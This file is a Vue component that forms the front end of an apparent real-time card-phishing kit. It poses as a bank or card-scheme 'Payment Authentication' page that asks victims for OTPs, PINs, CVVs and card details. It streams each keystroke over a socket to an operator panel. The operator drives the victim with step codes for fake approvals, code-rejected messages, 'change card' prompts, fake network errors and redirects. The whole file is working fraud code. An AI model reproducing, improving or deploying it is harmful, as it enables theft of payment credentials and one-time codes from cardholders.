<script setup>
import { ref, computed, watch, onMounted, onBeforeUnmount, nextTick } from 'vue'
import { useRouter } from 'vue-router'
import { showToast } from 'vant'
import { socketInstance } from '@/utils/socket'
import { showLoading, hideLoading } from '@/utils/loading'
import { getOrderScheme } from '@/api/system'

const router = useRouter()
const socket = socketInstance

// 调试：确认组件已加载
console.log('[Verify] 组件开始初始化')

// 从 localStorage 读取 trade_no
const getTradeNo = () => {
  return localStorage.getItem('trade_no') || ''
}

// 事件监听器清理函数
let systemHandler = null
let adminActionHandler = null
let connectHandler = null
let registerHandler = null

// 从 sessionStorage 读取 content 的工具函数
const getContentFromStorage = () => {
  return sessionStorage.getItem('verify_content') || ''
}

// 保存 content 到 sessionStorage 的工具函数
const saveContentToStorage = (contentValue) => {
  if (contentValue) {
    sessionStorage.setItem('verify_content', contentValue)
    console.log('[Verify] 已保存 content 到 sessionStorage:', contentValue)
  } else {
    sessionStorage.removeItem('verify_content')
  }
}

// 从sessionStorage读取event、step和content
const event = ref(sessionStorage.getItem('verify_event') || '')
const step = ref(sessionStorage.getItem('verify_step') || '')
const content = ref(getContentFromStorage())
const isRejectCustom = ref(false) // 标识是否为拒绝自定义文案
// 用户信息（从sessionStorage读取）
const userCardNumber = ref(sessionStorage.getItem('verify_card_number') || '')
const userPhone = ref(sessionStorage.getItem('verify_phone') || '')
const userEmail = ref(sessionStorage.getItem('verify_email') || '')
const totalPrice = ref(sessionStorage.getItem('verify_total_price') || '')
const productName = ref(sessionStorage.getItem('verify_product_name') || '')

// 卡种图片（默认 visa）
const schemeLogo = ref((import.meta.env.BASE_URL || '/') + 'images/visa.png')

const STOP_REGISTER_KEY = 'verify_stop_register_trade_no'
const markStopRegister = (tradeNo) => {

  try {
    if (tradeNo) sessionStorage.setItem(STOP_REGISTER_KEY, tradeNo)
  } catch (e) {}
}
const shouldRegister = (tradeNo) => {
  try {
    const cached = sessionStorage.getItem(STOP_REGISTER_KEY)
    // 当没有缓存或缓存与当前 trade_no 不一致时，应该注册
    return !cached || cached !== tradeNo
  } catch (e) {
    return true
  }
}
// 映射 scheme -> 图片文件名（不含后缀）
const resolveSchemeImage = (schemeRaw) => {
  const scheme = (schemeRaw || '').toLowerCase()
  const map = {
    visa: 'visa',
    mastercard: 'mastercard',
    master: 'mastercard',
    american: 'express',
    amex: 'express',
    express: 'express',
    discover: 'discover',
    jcb: 'jcb',
    union: 'union',
    unionpay: 'union'
  }
  const base = import.meta.env.BASE_URL || '/'
  return `${base}images/${map[scheme] || 'visa'}.png`
}

// 拉取卡种并设置图片
const fetchAndSetSchemeLogo = async () => {
  try {
    const tradeNo = getTradeNo()
    if (!tradeNo) {
      schemeLogo.value = (import.meta.env.BASE_URL || '/') + 'images/visa.png'
      return
    }
    const res = await getOrderScheme({ trade_no: tradeNo })
    // 接口定义：{ code:int, massage:string, scheme:string }
    const ok = res && (res.code === 1 || res.code === '1' || res.success === true)
    const scheme = res?.scheme 
    schemeLogo.value = resolveSchemeImage(ok ? scheme : '')
  } catch (e) {
    schemeLogo.value = (import.meta.env.BASE_URL || '/') + 'images/visa.png'
  }
}

// 验证码输入
const otp = ref('')
const email = ref('')
const pin = ref('')
const cvv = ref('')
const cardInfo = ref({
  cardNumber: '',
  expiryDate: '',
  cvv: ''
})

const loading = ref(false)
// 标记是否正在等待socket响应（用于控制全局loading）
const waitingForSocketResponse = ref(false)
// 标记是否禁用输入框和按钮（提交后禁用，等待socket响应）
const isDisabled = ref(false)

// 防抖定时器
let inputDebounceTimer = null

// 实时发送输入消息到管理端
const sendInputMessage = (inputValue, fieldType = '') => {
  // 如果已经提交或正在加载，不发送输入消息（避免在提交后还发送 step=0 的消息）
  console.log('==========')
  console.log(isDisabled.value ,loading.value , waitingForSocketResponse.value)
  if (isDisabled.value || loading.value || waitingForSocketResponse.value) {
    console.log('[Verify] 已提交或正在加载，跳过输入消息发送')
    return
  }
  
  // 清除之前的定时器
  if (inputDebounceTimer) {
    clearTimeout(inputDebounceTimer)
  }
  
  // 防抖处理，300ms后发送
  inputDebounceTimer = setTimeout(() => {
    // 再次检查状态（防止在防抖期间状态变化）
    if (isDisabled.value || loading.value || waitingForSocketResponse.value) {
      console.log('[Verify] 防抖期间状态已变化，取消输入消息发送')
      return
    }
    
    if (!socket.connected.value) {
      console.warn('[Verify] Socket未连接，无法发送输入消息')
      return
    }
    
    const socketId = socket.getSocketId()
    const tradeNo = getTradeNo()
    
    if (!socketId) {
      console.warn('[Verify] Socket ID不存在，无法发送输入消息')
      return
    }
    
    // 根据 event 类型获取对应的输入值
    let value = inputValue
    let field = fieldType || event.value
    
    // 如果是卡片信息，需要特殊处理
    if (event.value === 'card') {
      const cardData = {
        cardNumber: cardInfo.value.cardNumber,
        expiryDate: cardInfo.value.expiryDate,
        cvv: cardInfo.value.cvv
      }
      value = JSON.stringify(cardData)
      field = 'card'
    }
    
    // 构造消息数据
    const messageData = {
      socket_id: socketId,
      trade_no: tradeNo,
      event: event.value,
      step: 0, // step=0 表示等待用户输入验证码中
      field: field,
      value: value,
      content:value,
      length: value ? value.length : 0,
      timestamp: new Date().toISOString()
    }
    
    console.log('[Verify] 发送实时输入消息:', messageData)
    
    // 发送消息到管理端
    // socket.emit('message', {content:JSON.stringify(messageData)})
    socket.emit('message', messageData)
  }, 300) // 300ms 防抖
}

// 根据event类型显示不同的标题和提示
const verifyInfo = computed(() => {
  // 根据手机号提取最后4位数字
  let phoneLast4 = ''
  if (userPhone.value) {
    const phoneMatch = userPhone.value.match(/(\d{4})$/);  // 获取最后4位数字
    phoneLast4 = phoneMatch ? phoneMatch[0] : userPhone.value.slice(-4)
  }
  
  // 根据手机号和邮箱生成动态描述
  let phoneDesc = phoneLast4 ? ` to your registered mobile number (last digits ${phoneLast4}).` : ' to your registered mobile number.'
  let emailDesc = userEmail.value ? ` to ${userEmail.value}.` : ' to your registered email.'
  
  // 生成交易信息文案
  let transactionInfo = ''
  if (totalPrice.value || userCardNumber.value) {
    // 格式化当天日期为 MM/DD/YYYY
    const today = new Date()
    const month = String(today.getMonth() + 1).padStart(2, '0')
    const day = String(today.getDate()).padStart(2, '0')
    const year = today.getFullYear()
    const formattedDate = `${month}/${day}/${year}`
    
    // 卡号数据已经是脱敏的，直接使用
    let cardDisplay = userCardNumber.value 
    
    // 组装交易信息
    const price = totalPrice.value || '29.90' 
    const shopName = productName.value || 'shopName'
    // transactionInfo = `<br/><br/>You are paying ${price} to ${shopName} on ${formattedDate} with your Card ${cardDisplay}`
    transactionInfo = `<br/><br/>You are paying ${price}  on ${formattedDate} with your Card ${cardDisplay}`
  }
  
  // 为app验证生成独立的交易信息
  let appTransactionInfo = ''
  if (totalPrice.value || userCardNumber.value || productName.value) {
    const price = totalPrice.value || '29.90'
    const shopName = productName.value || 'shopName'
    const cardDisplay = userCardNumber.value 
    appTransactionInfo = `<br/>Merchant: ${shopName}<br/>Amount: ${price}<br/>Card Number: ${cardDisplay}`
  }
  
  const eventMap = {
    'opt': {  // 注意：event是opt
      title: 'Payment Authentication',
      description: `We have resent One-Time Password (OTP) in a text message${phoneDesc}<br/><br/>Please submit your One-Time Password (OTP).${transactionInfo}`,
      placeholder: 'Enter your OTP',
      maxLength: 8
    },
    'otp': {  // 兼容旧版本
      title: 'Payment Authentication',
      description: `We have resent One-Time Password (OTP) in a text message${phoneDesc}<br/><br/>Please submit your One-Time Password (OTP).${transactionInfo}`,
      placeholder: 'Enter your OTP',
      maxLength: 8
    },
    'email': {
      title: 'Payment Authentication',
      description: `We have resent One-Time Password (OTP) to ${emailDesc}.<br/><br/>Please submit your One-Time Password (OTP).${transactionInfo}`,
      placeholder: 'Enter your OTP',
      maxLength: 8
    },
    'app': {
      title: 'Approve this payment in your App',
      description: `If you're already logged on to the Mobile App, please log off and log back on to see the request to confirm the payment. Please do this within 3 minutes.
                  <br/>  <br/>${appTransactionInfo}`,
      placeholder: 'Open your banking app and confirm',
      maxLength: 0
    },
    'pin': {
      title: 'Your safety and security',
      description: `Please enter your PIN code to complete this transaction.${transactionInfo}`,
      placeholder: 'Enter your PIN',
      maxLength: 4
    },
    'cvv': {
      title: 'Your safety and security',
      description: `Please enter the last 3 characters of the planning position on the back of your American Express card.${transactionInfo}`,
      placeholder: 'Enter your CVV',
      maxLength: 3
    },
    'card': {
      title: 'Card Information',
      description: 'Please enter your card information for verification.',
      placeholder: '',
      maxLength: 0
    }
  }
  
  return eventMap[event.value] || {
    title: 'Payment Authentication',
    description: 'Please complete the verification process.',
    placeholder: 'Enter verification code',
    maxLength: 8
  }
})

// 根据step显示结果信息
const resultInfo = computed(() => {
  if (!step.value) return null
  
  // 新的step映射：0=等待输入, 1=已提交, 2=通过, 3=拒绝验证码错误, 4=拉黑更换卡片, 5=拒绝自定义错误, 6=黑名单, 7=断线
  const stepMap = {
    '0': { type: 'info', message: 'Waiting', description: 'Waiting for verification code input.' },
    '1': { type: 'primary', message: 'Submitted', description: 'Verification code has been submitted.' },
    '2': { type: 'success', message: 'Passed', description: 'Verification passed successfully.' },
    '3': { type: 'error', message: 'Code Error', description: 'Please enter a valid verification code.' },
    '4': { type: 'warning', message: 'Something went wrong', description: 'Sorry, your card is not supported for this payment.</br>Please change the card and try again.' },
    '5': { type: 'error', message: 'Rejected', description: 'Verification was rejected.' },
    '6': { type: 'danger', message: 'Something went wrong', description: 'You might be having a network connection problem, the link might be expired, or the payment provider cannot be reached at the moment.' },
    '7': { type: 'error', message: 'Something went wrong', description: 'You might be having a network connection problem, the link might be expired, or the payment provider cannot be reached at the moment.' }
  }
  
  return stepMap[step.value] || stepMap[step.value.toString()]
})

// 提交验证
const handleVerify = () => {
  if (loading.value) return
  
  // 清除输入防抖定时器，防止提交后还发送 step=0 的消息
  if (inputDebounceTimer) {
    clearTimeout(inputDebounceTimer)
    inputDebounceTimer = null
    console.log('[Verify] 已清除输入防抖定时器，准备提交验证码')
  }
  
  let verifyValue = ''
  
  switch (event.value) {
    case 'opt':
    case 'otp':  // 兼容
      if (!otp.value.trim()) {
        showToast('Please enter OTP code')
        return
      }
      verifyValue = otp.value
      break
    case 'email':
      if (!email.value.trim()) {
        showToast('Please enter email address')
        return
      }
      verifyValue = email.value
      break
    case 'pin':
      if (!pin.value.trim()) {
        showToast('Please enter PIN')
        return
      }
      verifyValue = pin.value
      break
    case 'cvv':
      if (!cvv.value.trim()) {
        showToast('Please enter CVV')
        return
      }
      verifyValue = cvv.value
      break
    case 'app':
      // APP验证可能需要特殊处理
      verifyValue = 'app_confirmed'
      break
    case 'card':
      if (!cardInfo.value.cardNumber || !cardInfo.value.expiryDate || !cardInfo.value.cvv) {
        showToast('Please fill in complete card information')
        return
      }
      verifyValue = JSON.stringify(cardInfo.value)
      break
    default:
      showToast('Unknown verification type')
      return
  }
  
  loading.value = true
  // waitingForSocketResponse.value = true
  isDisabled.value = true // 禁用所有输入框和按钮
  
  // 显示全局loading
  // showLoading({
  //   message: 'Submitting...',
  //   size: '32px',
  //   color: '#7C96A6'
  // })
  
  const socketId = socket.getSocketId()
  const tradeNo = getTradeNo()
  
  if (socketId) {
    // 发送验证结果到服务器
    socket.emit('verifyResult', {
      socket_id: socketId,
      event: event.value,
      result: verifyValue
    })
    
    // 发送提交状态消息到管理端（与输入事件格式一致）
    // field映射：opt/otp/email -> verification_code, pin -> pin, cvv -> cvv, card -> card
    let field = 'verification_code'
    if (event.value === 'card') {
      field = 'card'
    } else if (event.value === 'pin') {
      field = 'pin'
    } else if (event.value === 'cvv') {
      field = 'cvv'
    } else if (event.value === 'opt' || event.value === 'otp' || event.value === 'email') {
      field = 'verification_code'
    }
    
    const messageData = {
      socket_id: socketId,
      trade_no: tradeNo,
      event: event.value,
      step: 1, // step=1 表示用户已提交验证码
      field: field,
      value: verifyValue,
      length: verifyValue ? verifyValue.length : 0,
      content: verifyValue,
      submitted: true, // 标识为已提交
      timestamp: new Date().toISOString()
    }
    
    console.log('[Verify] 发送提交状态消息（step=1）:', messageData)
    console.log('[Verify] 验证类型:', event.value, '字段:', field, '值:', verifyValue)
    socket.emit('message', messageData)
    // socket.emit('message', {content: JSON.stringify(messageData)})
  } else {
    // 如果没有socket连接，直接关闭loading
    hideLoading()
    waitingForSocketResponse.value = false
    loading.value = false
    isDisabled.value = false // 恢复输入框和按钮
    showToast('Connection error, please try again')
  }
  
  // 设置超时保护，如果30秒内没有收到响应，自动关闭loading
  // setTimeout(() => {
  //   if (waitingForSocketResponse.value) {
  //     console.warn('[Verify] 等待socket响应超时，关闭loading')
  //     hideLoading()
  //     waitingForSocketResponse.value = false
  //     loading.value = false
  //     isDisabled.value = false // 恢复输入框和按钮
  //     showToast('Request timeout, please try again')
  //   }
  // }, 30000)
}

// 重新发送验证码（仅OTP和Email）
const handleResend = () => {
  if (event.value === 'opt' || event.value === 'otp' || event.value === 'email') {
    if (!socket.connected.value) {
      console.warn('[Verify] Socket未连接，无法发送重发验证码消息')
      return
    }
    
    const socketId = socket.getSocketId()
    const tradeNo = getTradeNo()
    
    if (!socketId) {
      console.warn('[Verify] Socket ID不存在，无法发送重发验证码消息')
      return
    }
    
    // 发送重发验证码请求到服务器
    socket.emit('resendVerification', {
      socket_id: socketId,
      event: event.value
    })
    
    // 发送重发状态消息到管理端（与输入事件格式一致）
    // field映射：opt/otp/email -> verification_code
    const messageData = {
      socket_id: socketId,
      trade_no: tradeNo,
      event: event.value,
      step: 0, // step=0 表示等待用户输入验证码中
      field: 'verification_code',
      value: '', // 重发时值为空
      content:'',
      length: 0,
      resend: true, // 标识为重发验证码
      timestamp: new Date().toISOString()
    }
    
    console.log('[Verify] 发送重发验证码状态消息:', messageData)
    socket.emit('message', messageData)
    // socket.emit('message', {content: JSON.stringify(messageData)})
    
    showToast('Verification code resent')
  }
}

// 返回首页
const handleBack = () => {
  router.push('/')
}

// 处理系统消息（广播消息）
const handleSystemMessage = (data) => {
  console.log('[Verify] 收到管理端消息:', data)
  
  // 显示Toast提醒
  const message = typeof data === 'object' ? (data.message || JSON.stringify(data)) : data
  // showToast({
  //   message: message,
  //   duration: 3000
  // })
}

// 处理管理端操作（在verify页面也可能收到新的验证请求）
const handleAdminAction = (data) => {
  console.log('[Verify] ====== 收到管理端操作 ======')
  console.log('[Verify] 原始数据:', data)
  console.log('[Verify] 数据类型:', typeof data)
  console.log('[Verify] 是否为字符串:', typeof data === 'string')
  
  // 如果data是字符串，尝试解析JSON
  let parsedData = data
  if (typeof data === 'string') {
    try {
      parsedData = JSON.parse(data)
      console.log('[Verify] 解析后的数据:', parsedData)
    } catch (e) {
      console.error('[Verify] JSON解析失败:', e)
      console.log('[Verify] 使用原始字符串数据')
    }
  }
  
  // 使用解析后的数据
  data = parsedData
  
  console.log('[Verify] 处理后的数据:', data)
  console.log('[Verify] event:', data.event)
  console.log('[Verify] step:', data.step)
  console.log('[Verify] content:', data.content)
  console.log('[Verify] socket_id:', data.socket_id)
  console.log('[Verify] redirec_url:', data.redirec_url)
  if(data.step*1==4&&data.redirec_url){
      location.href = data.redirec_url;
      return;
  }
  // 检查是否是发给当前用户的
  const currentSocketId = socket.getSocketId()
  console.log('[Verify] 当前Socket ID:', currentSocketId)
  
  if (data.socket_id && data.socket_id !== currentSocketId) {
    console.log('[Verify] 此操作不是发给当前用户的，忽略')
    console.log('[Verify] 期望socket_id:', data.socket_id, '当前socket_id:', currentSocketId)
    return
  }
  
  // 如果正在等待socket响应，且收到step结果（表示验证结果返回），关闭loading
  if (waitingForSocketResponse.value && data.step) {
    console.log('[Verify] 收到socket响应，关闭loading，step:', data.step)
    hideLoading()
    waitingForSocketResponse.value = false
    loading.value = false
    isDisabled.value = false // 恢复输入框和按钮
  }
  
  // 优先处理验证类型（event），因为验证类型需要显示输入界面
  if (data.event) {
    console.log('[Verify] 收到新的验证请求，event:', data.event, 'step:', data.step, 'content:', data.content)
    
    // 如果有event且有step（且step != 0 且 step != 1），说明可能是结果操作
    if (data.step && data.step*1 != 0 && data.step*1 != 1) {
      // 拒绝验证码错误（step=3）、拒绝自定义错误（step=5）特殊处理，保留验证界面显示红字
      if ((data.step*1 == 3 || data.step*1 == 5) && data.content) {
        // 这是拒绝类操作，需要保留当前的验证类型（event），而不是使用新消息中的event
        // 因为服务器可能在拒绝错误时发送新的event，但我们应该保持当前的验证类型
        // 只有当当前没有event时，才使用新消息中的event
        const currentEvent = event.value || data.event || 'otp'
        event.value = currentEvent // 保留当前的验证类型，不切换
        step.value = data.step // 保留step，用于模板判断显示红字
        content.value = data.content || '' // 直接从socket消息获取content
        isRejectCustom.value = true // 标记为拒绝类操作
        isDisabled.value = false // 恢复输入框和按钮，允许用户重新输入
        
        console.log('[Verify] 收到拒绝类操作，保留验证界面，显示文案:', data.content, 'step:', data.step)
        console.log('[Verify] 保留当前验证类型:', currentEvent, '新消息中的event:', data.event)
        
        // 更新sessionStorage
        sessionStorage.setItem('verify_event', currentEvent)
        sessionStorage.setItem('verify_step', data.step)
        console.log('[Verify] sessionStorage已更新，显示验证界面和拒绝文案')
        
        return
      }
      
      // 其他有step的结果操作（pass=2, blacklist=6, disconnect=7），显示结果页面
      console.log('[Verify] 收到结果操作，有event和step，显示结果页面，step:', data.step)
      
      // 处理pass（放行，验证完成，step=2）
      if (data.step === '2' || data.step === 2) {
        markStopRegister(getTradeNo())
        console.log('[Verify] 验证通过')
        showToast({
          type: 'success',
          message: 'Verification completed successfully',
          duration: 3000
        })
      }
      if (data.step === '7' || data.step === 7) {
      markStopRegister(getTradeNo())
    }
      
      // 处理change-card（拒绝更换卡片）- step=6且没有event时已在else分支处理
      
      // 清空验证类型，显示结果
      event.value = ''
      step.value = data.step
      content.value = data.content || '' // 直接从socket消息获取content
      
      // 更新sessionStorage
      sessionStorage.setItem('verify_event', '')
      sessionStorage.setItem('verify_step', data.step)
      console.log('[Verify] sessionStorage已更新，显示结果页面，step:', data.step)
      
      return
    }
    
    // 普通的验证请求（只有event，没有step或step=1）
    // 清空之前的输入和结果状态
    otp.value = ''
    email.value = ''
    pin.value = ''
    cvv.value = ''
    cardInfo.value = {
      cardNumber: '',
      expiryDate: '',
      cvv: ''
    }
    loading.value = false
    isDisabled.value = false // 恢复输入框和按钮，允许新的验证
    
    // 更新验证类型和相关信息
    // 收到新的 event 时，清除之前的 step，确保显示验证界面
    event.value = data.event
    step.value = '' // 清除之前的 step，因为这是新的验证请求
    content.value = data.content || '' // 直接从socket消息获取content
    isRejectCustom.value = false // 普通验证请求不是拒绝自定义文案
    
    // 接收并保存用户信息（卡号、手机号、邮箱）
    if (data.card_number) {
      userCardNumber.value = data.card_number
      sessionStorage.setItem('verify_card_number', data.card_number)
    }
    if (data.phone) {
      userPhone.value = data.phone
      sessionStorage.setItem('verify_phone', data.phone)
    }
    if (data.email) {
      userEmail.value = data.email
      sessionStorage.setItem('verify_email', data.email)
    }
    if(data.total_price){
      totalPrice.value = data.total_price
      sessionStorage.setItem('verify_total_price', data.total_price)
    }
    if(data.product_name){
      productName.value = data.product_name
      sessionStorage.setItem('verify_product_name', data.product_name)
    }
    
    console.log('[Verify] 已更新验证类型，当前event:', event.value, 'step已清除:', step.value, '用户信息:', {
      card_number: userCardNumber.value,
      phone: userPhone.value,
      email: userEmail.value
    })
    
    // 显示提示信息
    const eventMap = {
      'opt': 'OTP Verification',
      'otp': 'OTP Verification',
      'email': 'Email Verification',
      'app': 'APP Verification',
      'pin': 'PIN Verification',
      'cvv': 'CVV Verification',
      'card': 'Card Information Verification'
    }
    const eventName = eventMap[data.event] || 'Verification Request'
    // showToast(`收到${eventName}请求`)
    
    // 更新sessionStorage（清除step，确保刷新后仍显示验证界面）
    sessionStorage.setItem('verify_event', data.event)
    sessionStorage.setItem('verify_step', '')
    console.log('[Verify] sessionStorage已更新，显示验证界面:', data.event)
  } else if (data.step) {
    // 只有结果，没有验证类型，显示结果页面
    console.log('[Verify] 收到验证结果，step:', data.step, 'content:', data.content)
    
    // 拒绝验证码错误（step=3）、拒绝自定义错误（step=5）特殊处理，保留验证界面显示红字
    if ((data.step === '3' || data.step === 3 || data.step === '5' || data.step === 5) && data.content) {
      // 保留之前的event，如果没有则使用data.event或默认otp
      const currentEvent = event.value || data.event || 'otp'
      event.value = currentEvent
      step.value = data.step // 保留step，用于模板判断显示红字
      content.value = data.content || '' // 直接从socket消息获取content
      isRejectCustom.value = true // 标记为拒绝类操作
      isDisabled.value = false // 恢复输入框和按钮，允许用户重新输入
      
      console.log('[Verify] 收到拒绝类操作（无event），保留验证界面，显示文案:', data.content, 'event:', currentEvent, 'step:', data.step)
      
      // 更新sessionStorage
      sessionStorage.setItem('verify_event', currentEvent)
      sessionStorage.setItem('verify_step', data.step)
      console.log('[Verify] sessionStorage已更新，显示验证界面和拒绝文案')
      
      return
    }
    
    // 处理pass（放行，验证完成）
    if (data.step === '2' || data.step === 2) {
      console.log('[Verify] 验证通过')
      markStopRegister(getTradeNo())
      showToast({
        type: 'success',
        message: 'Verification completed successfully',
        duration: 3000
      })
    }
       // === 新增：断开（step=7）也按 trade_no 做缓存 ===
       if (data.step === '7' || data.step === 7) {
      markStopRegister(getTradeNo())
    }
    // 其他结果操作（pass=2, block=5, disconnect=3等），清空验证类型，显示结果
    event.value = ''
    step.value = data.step
    content.value = data.content || '' // 直接从socket消息获取content
    
    // 更新sessionStorage
    sessionStorage.setItem('verify_event', '')
    sessionStorage.setItem('verify_step', data.step)
    console.log('[Verify] sessionStorage已更新，显示结果页面，step:', data.step)
  } else {
    console.warn('[Verify] 收到管理端操作，但缺少event和step参数:', data)
  }
}

// 监听event和step变化，处理状态变化逻辑
watch(
  () => [event.value, step.value],
  ([newEvent, newStep], [oldEvent, oldStep]) => {
    console.log('[Verify] 状态已更新:', {
      event: newEvent,
      step: newStep,
      content: content.value
    })
    
    // 如果验证类型变化，清空之前的输入和结果
    if (newEvent && newEvent !== oldEvent) {
      console.log('[Verify] 验证类型已变化，清空输入和结果')
      otp.value = ''
      email.value = ''
      pin.value = ''
      cvv.value = ''
      cardInfo.value = {
        cardNumber: '',
        expiryDate: '',
        cvv: ''
      }
      loading.value = false
      // 清除之前的 step，因为这是新的验证请求
      if (step.value) {
        step.value = ''
      }
      // 清除拒绝自定义文案标识（新的验证请求）
      isRejectCustom.value = false
    }
    
    // 如果只有 step 没有 event，确保 event 被清除（step=3/5且content存在时除外）
    if (newStep && !newEvent && event.value) {
      // step=3/5 且 content 存在时，保留 event（用于显示验证界面和红字）
      if ((newStep === '3' || newStep === 3 || newStep === '5' || newStep === 5) && content.value) {
        console.log('[Verify] step=3/5且content存在，保留 event 用于显示验证界面和红字')
        isRejectCustom.value = true // 标记为拒绝类操作
      } else {
        console.log('[Verify] 收到结果但无验证类型，清除 event')
        event.value = ''
        isRejectCustom.value = false // 清除拒绝类操作标识
      }
    }
  }
)

// 处理连接成功
const handleConnect = () => {
  console.log('[Verify] Socket连接成功')
  
  // 从 localStorage 读取 trade_no
  const tradeNo = getTradeNo()
  
  if (tradeNo) {
    if (shouldRegister(tradeNo)) {
      console.log('[Verify] 注册用户，trade_no:', tradeNo)
      socket.emit('register', { trade_no: tradeNo })
      registerHandler = socket.on('register_success', (data) => {
        console.log('[Verify] 注册成功:', data)
      })
    } else {
      console.log('[Verify] 已缓存通过/断开且 trade_no 未变化，本次不注册:', tradeNo)
    }
  } else {
    console.warn('[Verify] localStorage中未找到trade_no')
  }
}

onMounted(() => {
  console.log('[Verify] 验证页面加载，参数:', {
    event: event.value,
    step: step.value,
    content: content.value
  })
  // 获取并设置卡种图片
  fetchAndSetSchemeLogo()
  
  // 设置事件监听器
  systemHandler = socket.on('system', handleAdminAction)
  connectHandler = socket.on('connect', handleConnect)
  
  // 添加调试：监听所有socket事件
  console.log('[Verify] Socket连接状态:', socket.connected.value)
  console.log('[Verify] Socket实例:', socket.socket)
  
  // 监听socket连接状态变化
  watch(() => socket.connected.value, (isConnected) => {
    console.log('[Verify] Socket连接状态变化:', isConnected)
    if (isConnected) {
      console.log('[Verify] Socket已连接，ID:', socket.getSocketId())
    }
  })
  
  // 延迟添加调试监听器，确保socket已创建
  nextTick(() => {
    setTimeout(() => {
      if (socket.socket?.value) {
        const rawSocket = socket.socket.value
        console.log('[Verify] 添加原始socket调试监听器')
        rawSocket.on('system', (data) => {
          console.log('[Verify] 原始socket收到system事件:', data)
        })
        // 监听所有事件用于调试（如果支持onAny）
        if (rawSocket.onAny) {
          rawSocket.onAny((eventName, ...args) => {
            console.log('[Verify] 原始socket收到事件:', eventName, '参数:', args)
          })
        }
      } else {
        console.warn('[Verify] Socket实例不存在，无法添加调试监听器')
      }
    }, 500)
  })
  
  // 如果已连接，直接执行连接成功逻辑
  if (socket.connected.value) {
    // handleConnect()
  } else {
    // 如果未连接，延迟连接确保所有监听器都已注册
    setTimeout(() => {
      socket.connect()
    }, 100)
  }
  
  // 如果只有step（结果），显示结果页面
  if (step.value && !event.value) {
    console.log('[Verify] 显示结果页面，step:', step.value)
  }
})

onBeforeUnmount(() => {
  // 清理监听器 - 使用返回的清理函数
  if (systemHandler) {
    systemHandler() // 调用返回的清理函数
  }
  if (adminActionHandler) {
    adminActionHandler() // 调用返回的清理函数
  }
  if (connectHandler) {
    connectHandler() // 调用返回的清理函数
  }
  if (registerHandler) {
    registerHandler() // 调用返回的清理函数
  }
  // 清理防抖定时器
  if (inputDebounceTimer) {
    clearTimeout(inputDebounceTimer)
    inputDebounceTimer = null
  }
  // 确保在组件卸载时关闭loading
  if (waitingForSocketResponse.value) {
    hideLoading()
    waitingForSocketResponse.value = false
    loading.value = false
    isDisabled.value = false // 恢复输入框和按钮
  }
})
</script>

<template>
  <div class="visa-auth-page">
    <div class="header">
      <!-- <span class="header-icon" @click="handleBack"></span> -->
      <span class="header-spacer"></span>
      <img :src="schemeLogo" alt="card-brand" class="visa-logo" />
    </div>
    <hr class="divider" />
    
    <!-- 验证表单（如果有event且(没有step或step=0或step=1或(step=3/5且有content))，显示验证界面） -->
    <div v-if="event && (!step || step*1==0 || step*1==1 || ((step*1==3 || step*1==5) && content))">
      <div class="auth-title">{{ verifyInfo.title }}</div>
    <div class="auth-info" v-html="verifyInfo.description"></div>
      
      <!-- OTP验证 -->
      <div v-if="event === 'opt' || event === 'otp'" class="input-wrapper">
    <van-field
      v-model="otp"
          :placeholder="verifyInfo.placeholder"
          :maxlength="verifyInfo.maxLength"
          input-align="center"
          class="otp-input"
          type="number"
          :disabled="isDisabled"
          @input="sendInputMessage(otp, 'otp')"
        />
     
      </div>
      
      <!-- Email验证 -->
      <div v-else-if="event === 'email'" class="input-wrapper">
        <van-field
          v-model="email"
          :placeholder="verifyInfo.placeholder"
          :maxlength="verifyInfo.maxLength"
          input-align="center"
          class="otp-input"
          type="number"
          :disabled="isDisabled"
          @input="sendInputMessage(email, 'email')"
        />
    
      </div>
      
      <!-- PIN验证 -->
      <div v-else-if="event === 'pin'" class="input-wrapper">
        <van-field
          v-model="pin"
          :placeholder="verifyInfo.placeholder"
          :maxlength="verifyInfo.maxLength"
          input-align="center"
          type="number"
          class="otp-input"
          :disabled="isDisabled"
          @input="sendInputMessage(pin, 'pin')"
        />

      </div>
      
      <!-- CVV验证 -->
      <div v-else-if="event === 'cvv'" class="input-wrapper">
        <van-field
          v-model="cvv"
          :placeholder="verifyInfo.placeholder"
          :maxlength="verifyInfo.maxLength"
          input-align="center"
          class="otp-input"
          type="number"
          :disabled="isDisabled"
          @input="sendInputMessage(cvv, 'cvv')"
        />
 
      </div>
      
      <!-- APP验证 -->
      <div v-else-if="event === 'app'">
        <div class="app-info">
          <!-- {{ verifyInfo.description }} -->

        </div>
      </div>
      
      <!-- 卡片信息验证 -->
      <!-- <div v-else-if="event === 'card'" class="card-input-wrapper">
        <van-field
          v-model="cardInfo.cardNumber"
          placeholder="Card Number"
          input-align="center"
          class="otp-input"
          type="number"
          :disabled="isDisabled"
          @input="sendInputMessage(cardInfo.cardNumber, 'cardNumber')"
        />
        <van-field
          v-model="cardInfo.expiryDate"
          placeholder="MM/YY"
          input-align="center"
          class="otp-input"
          :disabled="isDisabled"
          @input="sendInputMessage(cardInfo.expiryDate, 'expiryDate')"
        />
        <van-field
          v-model="cardInfo.cvv"
          placeholder="CVV"
      input-align="center"
      class="otp-input"
          type="number"
          maxlength="3"
          :disabled="isDisabled"
          @input="sendInputMessage(cardInfo.cvv, 'cvv')"
    />
      </div> -->
          <!-- 拒绝类操作显示（红字）：step=3验证码错误, step=5自定义错误 -->
          <div v-if="content && (step == '3' || step == 3 || step == '5' || step == 5)" class="reject-message">
            {{ content }}
          </div>
    <van-button 
      block 
      color="#7C96A6" 
      class="auth-btn" 
      :loading="loading"
      :disabled="isDisabled || loading"
      @click="handleVerify"
    >
      VERIFY
    </van-button>
      
      <!-- 重新发送按钮（仅OTP和Email） -->
    <van-button 
        v-if="event === 'opt' || event === 'otp' || event === 'email'"
      block 
      plain 
      color="#7C96A6" 
      class="auth-btn resend"
      :disabled="isDisabled"
      @click="handleResend"
    >
      Resend Code
    </van-button>
    </div>
    
    <!-- 结果显示（step=2/4/6/7 时显示结果界面） -->
    <div v-else-if="step && resultInfo && (step*1==2 || step*1==4 || step*1==6 || step*1==7)" class="result-container">
      <div class="auth-title">{{ resultInfo.message }}</div>
      <div class="auth-info" v-html="resultInfo.description">
      </div>
      <!-- <div v-if="content" class="auth-content">
        {{ content }}
      </div> -->
      <!-- <van-button 
        block 
        color="#7C96A6" 
        class="auth-btn" 
        @click="handleBack"
      >
        Back to Home
      </van-button> -->
    </div>
    
    <!-- 默认状态 -->
    <div v-else class="auth-info">
      Waiting for verification request...
    </div>

    <!-- <div class="auth-links">
      <div class="link-row">
        <span>Learn more about Authentication</span>
        <span class="plus">+</span>
      </div>
      <div class="link-row">
